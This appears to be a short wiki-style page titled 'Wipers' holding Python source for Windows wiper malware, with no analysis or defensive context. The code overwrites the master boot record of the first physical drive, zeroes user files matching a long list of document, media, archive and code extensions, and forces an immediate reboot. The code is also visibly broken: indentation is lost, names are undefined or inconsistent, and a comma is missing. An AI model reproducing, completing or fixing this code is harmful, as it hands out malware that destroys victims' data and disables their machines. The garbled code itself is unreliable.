Wipers
import os
import subprocess
import ctypes
from ctypes import wintypes
import win32api
startupinfo = subprocess.STARTUPINFO() #type: ignore
drives = win32api.GetLogicalDriveStrings()
kernel32 = ctypes.WinDLL('kernel32')
def OverWriteMBR():
hDevice = Kernel32.CreateFileW("\\\\.\\PhysicalDrive0", 0x40000000, 0x00000001 | 0x00000002, None, 3, 0,0) # Create a handle to our Physical Drive
Kernel32.WriteFile(hDevice, Data, None) # Overwrite the MBR! (Never run this on your main machine!)
Kernel32.CloseHandle(hDevice) # Close the handle to our Physical Drive!
def SetFiles():
ext = [
".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg",
".rm", ".swf", ".vob", ".wmv" ".docx", ".pdf",".rar",
".jpg", ".jpeg", ".png", ".tiff", ".zip", ".7z",
".tar.gz", ".tar", ".mp3", ".sh", ".c", ".cpp", ".h",
".gif", ".txt", ".jar", ".sql", ".bundle",
".sqlite3", ".html", ".php", ".log", ".bak", ".deb"] # files to seek out and overwrite
for dirpath, dirs, files in os.walk(f"C:\\Users\\{os.getlogin()}\\{os.getcwd()}"):
for f in files:
path = os.path.abspath(os.path.join(dirpath, f))
if f.endswith(tuple(ext)):
with open(f, "rb") as files:
data = files.read()
files.close()
with open(f, "wb") as files:
data.write(b'\x00') # Overwrites multiple files with zero bytes (hex 00)
data.close()
def SysDown():
# InitiateSystemShutdown()
os.system("shutdown -t 0 -r -f ")
def main():
global application_path
if getattr(sys, 'frozen', False):
application_path = sys.executable
else:
application_path = os.path.dirname(os.path.abspath(__file__))
SetFiles()
OverWriteMBR()
if __name__ == "__main__":
main()
SysDown()References
Last updated